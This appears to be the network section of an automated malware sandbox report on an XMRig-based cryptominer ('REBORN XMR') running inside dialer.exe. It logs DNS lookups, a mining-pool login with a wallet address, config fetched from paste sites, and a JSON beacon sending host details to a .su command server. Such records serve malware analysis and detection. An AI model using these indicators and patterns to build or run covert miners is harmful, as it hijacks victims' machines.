Oct 10, 2024 04:56:11.808322906 CEST	53	62975	1.1.1.1	192.168.2.6
Oct 10, 2024 04:56:12.760461092 CEST	65400	53	192.168.2.6	1.1.1.1
Oct 10, 2024 04:56:12.941441059 CEST	53	65400	1.1.1.1	192.168.2.6
Oct 10, 2024 04:56:40.747997999 CEST	53	61257	162.159.36.2	192.168.2.6
Oct 10, 2024 04:56:41.221302032 CEST	53	55701	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 10, 2024 04:56:07.950720072 CEST	192.168.2.6	1.1.1.1	0x486d	Standard query (0)	pool.supportxmr.com	A (IP address)	IN (0x0001)	false
Oct 10, 2024 04:56:09.071942091 CEST	192.168.2.6	1.1.1.1	0x1c55	Standard query (0)	rentry.co	A (IP address)	IN (0x0001)	false
Oct 10, 2024 04:56:09.881417036 CEST	192.168.2.6	1.1.1.1	0x4903	Standard query (0)	justpaste.it	A (IP address)	IN (0x0001)	false
Oct 10, 2024 04:56:11.799189091 CEST	192.168.2.6	1.1.1.1	0x9a3a	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)	false
Oct 10, 2024 04:56:12.760461092 CEST	192.168.2.6	1.1.1.1	0xf149	Standard query (0)	jaiodsnvzxkxcz5hvxzkighiwagfew9oi0d3219v687dyfsdg.su	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 10, 2024 04:56:07.960619926 CEST	1.1.1.1	192.168.2.6	0x486d	No error (0)	pool.supportxmr.com	pool-fr.supportxmr.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 10, 2024 04:56:07.960619926 CEST	1.1.1.1	192.168.2.6	0x486d	No error (0)	pool-fr.supportxmr.com		141.94.96.71	A (IP address)	IN (0x0001)	false
Oct 10, 2024 04:56:07.960619926 CEST	1.1.1.1	192.168.2.6	0x486d	No error (0)	pool-fr.supportxmr.com		141.94.96.144	A (IP address)	IN (0x0001)	false
Oct 10, 2024 04:56:07.960619926 CEST	1.1.1.1	192.168.2.6	0x486d	No error (0)	pool-fr.supportxmr.com		141.94.96.195	A (IP address)	IN (0x0001)	false
Oct 10, 2024 04:56:09.080779076 CEST	1.1.1.1	192.168.2.6	0x1c55	No error (0)	rentry.co		104.26.3.16	A (IP address)	IN (0x0001)	false
Oct 10, 2024 04:56:09.080779076 CEST	1.1.1.1	192.168.2.6	0x1c55	No error (0)	rentry.co		104.26.2.16	A (IP address)	IN (0x0001)	false
Oct 10, 2024 04:56:09.080779076 CEST	1.1.1.1	192.168.2.6	0x1c55	No error (0)	rentry.co		172.67.75.40	A (IP address)	IN (0x0001)	false
Oct 10, 2024 04:56:09.892271996 CEST	1.1.1.1	192.168.2.6	0x4903	No error (0)	justpaste.it		83.168.108.45	A (IP address)	IN (0x0001)	false
Oct 10, 2024 04:56:11.808322906 CEST	1.1.1.1	192.168.2.6	0x9a3a	No error (0)	pastebin.com		172.67.19.24	A (IP address)	IN (0x0001)	false
Oct 10, 2024 04:56:11.808322906 CEST	1.1.1.1	192.168.2.6	0x9a3a	No error (0)	pastebin.com		104.20.3.235	A (IP address)	IN (0x0001)	false
Oct 10, 2024 04:56:11.808322906 CEST	1.1.1.1	192.168.2.6	0x9a3a	No error (0)	pastebin.com		104.20.4.235	A (IP address)	IN (0x0001)	false
Oct 10, 2024 04:56:12.941441059 CEST	1.1.1.1	192.168.2.6	0xf149	No error (0)	jaiodsnvzxkxcz5hvxzkighiwagfew9oi0d3219v687dyfsdg.su		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 10, 2024 04:56:12.941441059 CEST	1.1.1.1	192.168.2.6	0xf149	No error (0)	jaiodsnvzxkxcz5hvxzkighiwagfew9oi0d3219v687dyfsdg.su		188.114.96.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

rentry.co

justpaste.it

pastebin.com

jaiodsnvzxkxcz5hvxzkighiwagfew9oi0d3219v687dyfsdg.su

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49728	141.94.96.144	443	2248	C:\Windows\System32\dialer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 02:56:08 UTC	577	OUT	Data Raw: 7b 22 69 64 22 3a 31 2c 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6c 6f 67 69 6e 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 6c 6f 67 69 6e 22 3a 22 34 36 69 51 61 33 6e 4d 66 6b 45 47 37 4d 46 73 46 59 79 6a 73 62 37 43 4a 4a 71 57 51 6e 6b 74 74 47 33 66 51 4d 5a 51 52 61 6a 78 38 55 70 61 58 72 54 7a 47 4b 6e 50 7a 4d 52 6a 69 45 39 65 4d 61 62 41 67 75 35 33 6f 66 55 70 78 41 44 79 55 77 74 69 77 4d 41 5a 43 5a 44 67 36 69 77 22 2c 22 70 61 73 73 22 3a 22 32 33 32 33 32 33 22 2c 22 61 67 65 6e 74 22 3a 22 58 4d 52 69 67 2f 36 2e 32 31 2e 33 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 6c 69 62 75 76 2f 31 2e 33 38 2e 30 20 6d 73 76 63 2f 32 30 32 32 22 2c 22 72 69 67 69 64 Data Ascii: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"46iQa3nMfkEG7MFsFYyjsb7CJJqWQnkttG3fQMZQRajx8UpaXrTzGKnPzMRjiE9eMabAgu53ofUpxADyUwtiwMAZCZDg6iw","pass":"232323","agent":"XMRig/6.21.3 (Windows NT 10.0; Win64; x64) libuv/1.38.0 msvc/2022","rigid
2024-10-10 02:56:08 UTC	539	IN	Data Raw: 7b 22 69 64 22 3a 31 2c 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 65 72 72 6f 72 22 3a 6e 75 6c 6c 2c 22 72 65 73 75 6c 74 22 3a 7b 22 69 64 22 3a 22 63 63 30 31 34 62 35 34 2d 37 63 33 31 2d 34 32 64 64 2d 61 32 31 35 2d 33 65 64 64 66 38 61 64 32 63 61 63 22 2c 22 6a 6f 62 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 62 65 38 34 39 64 62 38 30 36 30 30 31 65 35 65 64 30 33 34 63 65 66 66 36 62 61 33 34 65 35 37 65 36 38 39 30 64 31 34 39 64 34 64 31 65 36 37 33 34 64 36 64 64 36 63 36 65 33 61 30 66 33 36 64 62 66 63 32 34 39 66 33 38 30 30 30 30 30 30 30 30 66 38 37 38 30 62 64 38 65 36 38 35 63 31 30 32 66 64 61 39 35 31 39 33 63 39 36 34 61 33 32 61 66 32 33 37 38 30 39 38 35 33 32 34 66 61 31 30 66 32 38 61 39 39 61 30 35 33 64 34 35 62 31 Data Ascii: {"id":1,"jsonrpc":"2.0","error":null,"result":{"id":"cc014b54-7c31-42dd-a215-3eddf8ad2cac","job":{"blob":"1010be849db806001e5ed034ceff6ba34e57e6890d149d4d1e6734d6dd6c6e3a0f36dbfc249f3800000000f8780bd8e685c102fda95193c964a32af23780985324fa10f28a99a053d45b1
2024-10-10 02:56:10 UTC	420	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 63 61 38 34 39 64 62 38 30 36 30 30 31 65 35 65 64 30 33 34 63 65 66 66 36 62 61 33 34 65 35 37 65 36 38 39 30 64 31 34 39 64 34 64 31 65 36 37 33 34 64 36 64 64 36 63 36 65 33 61 30 66 33 36 64 62 66 63 32 34 39 66 33 38 30 30 30 30 30 30 30 30 65 31 32 35 65 37 63 62 63 33 62 61 32 38 38 34 33 64 64 32 33 62 34 38 63 31 35 30 64 37 64 61 37 64 31 66 30 66 66 39 61 32 37 64 61 32 33 36 36 66 62 34 37 34 61 63 34 30 62 31 37 62 34 37 30 34 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 64 77 58 6d 57 6e 67 4e 34 66 6e 35 55 72 6a 74 74 58 55 70 74 4c 77 52 4d 49 52 47 22 2c 22 74 61 72 67 65 74 22 3a 22 38 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010ca849db806001e5ed034ceff6ba34e57e6890d149d4d1e6734d6dd6c6e3a0f36dbfc249f3800000000e125e7cbc3ba28843dd23b48c150d7da7d1f0ff9a27da2366fb474ac40b17b4704","job_id":"dwXmWngN4fn5UrjttXUptLwRMIRG","target":"8
2024-10-10 02:56:20 UTC	420	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 64 34 38 34 39 64 62 38 30 36 30 30 31 65 35 65 64 30 33 34 63 65 66 66 36 62 61 33 34 65 35 37 65 36 38 39 30 64 31 34 39 64 34 64 31 65 36 37 33 34 64 36 64 64 36 63 36 65 33 61 30 66 33 36 64 62 66 63 32 34 39 66 33 38 30 30 30 30 30 30 30 30 38 31 39 63 34 32 35 61 36 64 32 65 65 32 64 39 39 63 35 64 34 35 37 35 30 66 37 31 65 37 62 31 33 38 30 65 31 64 39 66 35 34 61 36 63 34 32 66 30 36 32 36 64 39 62 35 34 66 66 33 66 66 62 65 30 37 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 66 72 74 4f 52 30 44 2f 66 4b 57 56 69 2b 70 53 37 72 72 50 4d 50 66 39 62 73 6c 56 22 2c 22 74 61 72 67 65 74 22 3a 22 38 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010d4849db806001e5ed034ceff6ba34e57e6890d149d4d1e6734d6dd6c6e3a0f36dbfc249f3800000000819c425a6d2ee2d99c5d45750f71e7b1380e1d9f54a6c42f0626d9b54ff3ffbe07","job_id":"frtOR0D/fKWVi+pS7rrPMPf9bslV","target":"8
2024-10-10 02:56:32 UTC	420	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 64 66 38 34 39 64 62 38 30 36 30 30 31 65 35 65 64 30 33 34 63 65 66 66 36 62 61 33 34 65 35 37 65 36 38 39 30 64 31 34 39 64 34 64 31 65 36 37 33 34 64 36 64 64 36 63 36 65 33 61 30 66 33 36 64 62 66 63 32 34 39 66 33 38 30 30 30 30 30 30 30 30 65 63 34 32 33 61 66 66 39 34 66 35 34 62 65 62 31 32 32 30 30 62 66 66 61 34 65 62 37 66 39 36 38 37 34 31 39 38 63 32 34 37 33 35 62 62 33 32 34 63 33 61 63 63 65 36 37 37 37 64 34 30 65 30 30 38 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 2b 6e 55 2f 4f 6a 66 6f 53 43 37 41 77 31 67 48 77 44 4b 49 69 71 33 2f 70 2f 77 35 22 2c 22 74 61 72 67 65 74 22 3a 22 38 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010df849db806001e5ed034ceff6ba34e57e6890d149d4d1e6734d6dd6c6e3a0f36dbfc249f3800000000ec423aff94f54beb12200bffa4eb7f96874198c24735bb324c3acce6777d40e008","job_id":"+nU/OjfoSC7Aw1gHwDKIiq3/p/w5","target":"8
2024-10-10 02:56:43 UTC	420	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 65 62 38 34 39 64 62 38 30 36 30 30 31 65 35 65 64 30 33 34 63 65 66 66 36 62 61 33 34 65 35 37 65 36 38 39 30 64 31 34 39 64 34 64 31 65 36 37 33 34 64 36 64 64 36 63 36 65 33 61 30 66 33 36 64 62 66 63 32 34 39 66 33 38 30 30 30 30 30 30 30 30 62 32 36 66 66 62 66 35 32 34 64 63 62 36 39 37 62 64 66 32 61 36 63 64 35 64 64 63 62 31 36 32 30 34 36 39 31 37 62 62 62 64 30 36 32 33 61 30 34 37 39 31 61 62 34 35 31 65 63 63 64 64 66 31 30 62 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 30 4a 50 4f 6c 38 62 30 66 4b 4c 70 35 49 38 4c 6d 6f 45 77 2f 54 45 79 51 52 46 6b 22 2c 22 74 61 72 67 65 74 22 3a 22 38 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010eb849db806001e5ed034ceff6ba34e57e6890d149d4d1e6734d6dd6c6e3a0f36dbfc249f3800000000b26ffbf524dcb697bdf2a6cd5ddcb162046917bbbd0623a04791ab451eccddf10b","job_id":"0JPOl8b0fKLp5I8LmoEw/TEyQRFk","target":"8
2024-10-10 02:56:59 UTC	420	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 66 61 38 34 39 64 62 38 30 36 30 30 31 65 35 65 64 30 33 34 63 65 66 66 36 62 61 33 34 65 35 37 65 36 38 39 30 64 31 34 39 64 34 64 31 65 36 37 33 34 64 36 64 64 36 63 36 65 33 61 30 66 33 36 64 62 66 63 32 34 39 66 33 38 30 30 30 30 30 30 30 30 32 65 35 65 62 34 30 65 30 36 65 30 33 33 33 36 61 30 37 37 33 32 33 66 61 33 37 66 64 31 34 35 37 34 31 32 64 33 34 35 33 33 64 30 65 36 37 33 32 66 30 66 34 33 62 35 37 65 63 30 63 62 61 33 30 64 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 6d 43 54 63 68 33 68 43 33 5a 7a 38 34 61 33 6e 79 4f 71 4a 55 6b 38 4d 41 38 56 69 22 2c 22 74 61 72 67 65 74 22 3a 22 38 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010fa849db806001e5ed034ceff6ba34e57e6890d149d4d1e6734d6dd6c6e3a0f36dbfc249f38000000002e5eb40e06e03336a077323fa37fd1457412d34533d0e6732f0f43b57ec0cba30d","job_id":"mCTch3hC3Zz84a3nyOqJUk8MA8Vi","target":"8
2024-10-10 02:57:09 UTC	420	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 38 34 38 35 39 64 62 38 30 36 30 30 31 65 35 65 64 30 33 34 63 65 66 66 36 62 61 33 34 65 35 37 65 36 38 39 30 64 31 34 39 64 34 64 31 65 36 37 33 34 64 36 64 64 36 63 36 65 33 61 30 66 33 36 64 62 66 63 32 34 39 66 33 38 30 30 30 30 30 30 30 30 39 63 37 61 64 61 62 31 62 64 37 31 31 61 66 65 30 36 39 61 36 35 31 63 62 64 32 38 39 39 30 62 65 63 31 39 32 30 66 65 61 32 31 31 66 66 39 39 35 37 32 30 33 64 66 63 64 66 38 39 64 37 64 31 30 66 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 46 4e 6a 45 44 54 76 49 76 77 77 78 61 41 47 54 54 4b 48 56 63 57 57 36 72 64 55 65 22 2c 22 74 61 72 67 65 74 22 3a 22 38 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"101084859db806001e5ed034ceff6ba34e57e6890d149d4d1e6734d6dd6c6e3a0f36dbfc249f38000000009c7adab1bd711afe069a651cbd28990bec1920fea211ff9957203dfcdf89d7d10f","job_id":"FNjEDTvIvwwxaAGTTKHVcWW6rdUe","target":"8
2024-10-10 02:57:19 UTC	420	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 38 65 38 35 39 64 62 38 30 36 30 30 31 65 35 65 64 30 33 34 63 65 66 66 36 62 61 33 34 65 35 37 65 36 38 39 30 64 31 34 39 64 34 64 31 65 36 37 33 34 64 36 64 64 36 63 36 65 33 61 30 66 33 36 64 62 66 63 32 34 39 66 33 38 30 30 30 30 30 30 30 30 66 66 66 66 37 61 39 35 36 35 37 65 31 31 31 33 64 36 34 64 38 61 38 32 65 36 37 38 39 36 33 64 32 36 37 38 66 63 66 63 36 30 63 39 35 63 35 61 30 30 63 66 63 36 64 35 37 65 65 38 33 32 33 30 31 30 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 4e 51 76 41 35 61 30 2f 56 62 6a 46 2b 6e 30 4b 5a 43 74 53 74 35 51 48 52 72 59 4e 22 2c 22 74 61 72 67 65 74 22 3a 22 38 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"10108e859db806001e5ed034ceff6ba34e57e6890d149d4d1e6734d6dd6c6e3a0f36dbfc249f3800000000ffff7a95657e1113d64d8a82e678963d2678fcfc60c95c5a00cfc6d57ee8323010","job_id":"NQvA5a0/VbjF+n0KZCtSt5QHRrYN","target":"8
2024-10-10 02:57:38 UTC	420	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 61 32 38 35 39 64 62 38 30 36 30 30 31 65 35 65 64 30 33 34 63 65 66 66 36 62 61 33 34 65 35 37 65 36 38 39 30 64 31 34 39 64 34 64 31 65 36 37 33 34 64 36 64 64 36 63 36 65 33 61 30 66 33 36 64 62 66 63 32 34 39 66 33 38 30 30 30 30 30 30 30 30 39 61 61 33 61 63 33 33 62 66 62 38 34 30 61 32 37 32 65 37 62 31 62 66 66 64 31 31 36 34 37 65 34 66 36 33 39 35 39 34 38 31 30 62 37 38 63 63 30 65 61 30 30 38 62 36 39 39 35 31 37 32 31 32 31 31 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 73 61 62 37 31 7a 5a 47 47 6e 41 6e 57 6f 4f 5a 69 2b 34 32 42 74 67 32 37 4c 2b 75 22 2c 22 74 61 72 67 65 74 22 3a 22 38 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010a2859db806001e5ed034ceff6ba34e57e6890d149d4d1e6734d6dd6c6e3a0f36dbfc249f38000000009aa3ac33bfb840a272e7b1bffd11647e4f639594810b78cc0ea008b69951721211","job_id":"sab71zZGGnAnWoOZi+42Btg27L+u","target":"8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49734	104.26.3.16	443	2248	C:\Windows\System32\dialer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 02:56:09 UTC	111	OUT	GET /5apf98os/raw HTTP/1.1 Accept: / Connection: close Host: rentry.co User-Agent: cpp-httplib/0.12.6
2024-10-10 02:56:09 UTC	694	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 02:56:09 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 10 Connection: close vary: Origin x-xss-protection: 1; mode=block x-content-type-options: nosniff strict-transport-security: max-age=31536000; includeSubDomains Cache-Control: Vary CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d2Z81unQGS1IlDhuqFAIW7xGslCFdySImWnjkcxKYiHAzzRff0qqYlm3mJHfyuicYcq11hxH1k7E3tptldNbT%2FSfrX3wxuZGxcN0NutFqGWwNSiGnBouB%2FvCOw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d0355ec3d3515c3-EWR
2024-10-10 02:56:09 UTC	10	IN	Data Raw: 52 45 42 4f 52 4e 20 58 4d 52 Data Ascii: REBORN XMR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49740	83.168.108.45	443	2248	C:\Windows\System32\dialer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 02:56:10 UTC	107	OUT	GET /f86v1 HTTP/1.1 Accept: / Connection: close Host: justpaste.it User-Agent: cpp-httplib/0.12.6
2024-10-10 02:56:11 UTC	1007	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 10 Oct 2024 02:56:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: max-age=0, must-revalidate, private Accept-CH: sec-ch-ua, sec-ch-ua-bitness, sec-ch-ua-arch, sec-ch-ua-platform, sec-ch-ua-platform-version, sec-ch-ua-form-factors, sec-ch-ua-full-version-list, sec-ch-ua-mobile, sec-ch-ua-model pragma: no-cache Expires: Thu, 10 Oct 2024 02:56:11 GMT Set-Cookie: userData=RTrbz8p0ij_E0N6CsdH8m3Ye310kyYUg3aYq489yt8ZOcaH0bYfSXFm6V64WYIBYbL6t3VCWkM0CoyLf72_hB4ezsiJL8_gGR7JRNW9N-oVJHyjta26GIwn4qztDcAt40M71HDc51g4aVniFTshyqCHVDLahWH5D8Fm3BN1H1Gc0EJKlvzxpqGL5rSqGfAmAGj7SRiKurw%3D%3D; expires=Wed, 10 Oct 2029 02:56:11 GMT; Max-Age=157766400; path=/; domain=.justpaste.it; secure; httponly; samesite=lax X-Frame-Options: DENY X-Content-Type-Options: nosniff Referrer-Policy: origin-when-cross-origin Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2024-10-10 02:56:11 UTC	15377	IN	Data Raw: 36 64 30 39 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 63 6c 61 73 73 3d 22 68 2d 31 30 30 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 6c 61 6e 67 75 61 67 Data Ascii: 6d09<!doctype html><html lang="en" class="h-100"><head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <meta http-equiv="content-languag
2024-10-10 02:56:11 UTC	12549	IN	Data Raw: 64 6a 45 67 61 43 30 78 57 69 42 4e 4d 79 41 79 4f 43 42 6f 4d 53 42 32 4d 53 42 6f 4c 54 46 61 49 45 30 30 49 44 49 34 49 47 67 78 49 48 59 78 49 47 67 74 4d 56 6f 67 54 54 55 67 4d 6a 67 67 61 44 45 67 64 6a 45 67 61 43 30 78 57 69 42 4e 4e 69 41 79 4f 43 42 6f 4d 53 42 32 4d 53 42 6f 4c 54 46 61 49 45 30 33 49 44 49 34 49 47 67 78 49 48 59 78 49 47 67 74 4d 56 6f 67 54 54 67 67 4d 6a 67 67 61 44 45 67 64 6a 45 67 61 43 30 78 57 69 42 4e 4f 53 41 79 4f 43 42 6f 4d 53 42 32 4d 53 42 6f 4c 54 46 61 49 45 30 78 4d 43 41 79 4f 43 42 6f 4d 53 42 32 4d 53 42 6f 4c 54 46 61 49 45 30 78 4d 53 41 79 4f 43 42 6f 4d 53 42 32 4d 53 42 6f 4c 54 46 61 49 45 30 78 4d 69 41 79 4f 43 42 6f 4d 53 42 32 4d 53 42 6f 4c 54 46 61 43 6b 30 78 4d 79 41 79 4f 43 42 6f 4d 53 42 Data Ascii: djEgaC0xWiBNMyAyOCBoMSB2MSBoLTFaIE00IDI4IGgxIHYxIGgtMVogTTUgMjggaDEgdjEgaC0xWiBNNiAyOCBoMSB2MSBoLTFaIE03IDI4IGgxIHYxIGgtMVogTTggMjggaDEgdjEgaC0xWiBNOSAyOCBoMSB2MSBoLTFaIE0xMCAyOCBoMSB2MSBoLTFaIE0xMSAyOCBoMSB2MSBoLTFaIE0xMiAyOCBoMSB2MSBoLTFaCk0xMyAyOCBoMSB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49754	172.67.19.24	443	2248	C:\Windows\System32\dialer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 02:56:12 UTC	114	OUT	GET /raw/sFxN07Y7 HTTP/1.1 Accept: / Connection: close Host: pastebin.com User-Agent: cpp-httplib/0.12.6
2024-10-10 02:56:12 UTC	388	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 02:56:12 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: MISS Last-Modified: Thu, 10 Oct 2024 02:56:12 GMT Server: cloudflare CF-RAY: 8d0355fd5d7019df-EWR
2024-10-10 02:56:12 UTC	15	IN	Data Raw: 61 0d 0a 72 65 62 6f 72 6e 20 78 6d 72 0d 0a Data Ascii: areborn xmr
2024-10-10 02:56:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49760	188.114.97.3	443	2248	C:\Windows\System32\dialer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 02:56:13 UTC	212	OUT	POST /api/endpoint.php HTTP/1.1 Accept: / Connection: close Content-Length: 374 Content-Type: application/json Host: jaiodsnvzxkxcz5hvxzkighiwagfew9oi0d3219v687dyfsdg.su User-Agent: cpp-httplib/0.12.6
2024-10-10 02:56:13 UTC	374	OUT	Data Raw: 7b 22 69 64 22 3a 22 61 79 6d 68 64 61 6b 71 79 74 76 63 65 69 77 76 22 2c 22 63 6f 6d 70 75 74 65 72 6e 61 6d 65 22 3a 22 37 34 35 37 37 33 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 59 53 54 45 4d 22 2c 22 67 70 75 22 3a 22 5a 38 42 50 53 45 33 4f 48 22 2c 22 63 70 75 22 3a 22 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 2c 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 22 2c 22 72 65 6d 6f 74 65 63 6f 6e 66 69 67 22 3a 22 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 79 2e 63 6f 2f 35 61 70 66 39 38 6f 73 2f 72 61 77 2c 68 74 74 70 73 3a 2f 2f 6a 75 73 74 70 61 73 74 65 2e 69 74 2f 66 38 36 76 31 2c 68 74 74 70 73 3a 2f Data Ascii: {"id":"aymhdakqytvceiwv","computername":"745773","username":"SYSTEM","gpu":"Z8BPSE3OH","cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz, Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","remoteconfig":"https://rentry.co/5apf98os/raw,https://justpaste.it/f86v1,https:/
2024-10-10 02:56:13 UTC	626	IN	HTTP/1.1 405 Not Allowed Date: Thu, 10 Oct 2024 02:56:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iwXhoj%2Bke1XFqXFELImOO7%2F30n%2BgQoHEXqFV%2BewEuKQ5lYpNYYL%2F7eu7qcdx6R4ttK%2Fr2NOKntkJ1jSQi0V%2F3eL7LN30E%2B9WlZ2USFiOVhKB%2F8lKYRDFO6IzoAvM7THaCaXuUnN7RU3cl65cKPZ52ajbENh2Xbi2AyJiVtD3Jr3A4AZQMKkz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d03560489730f65-EWR alt-svc: h3=":443"; ma=86400
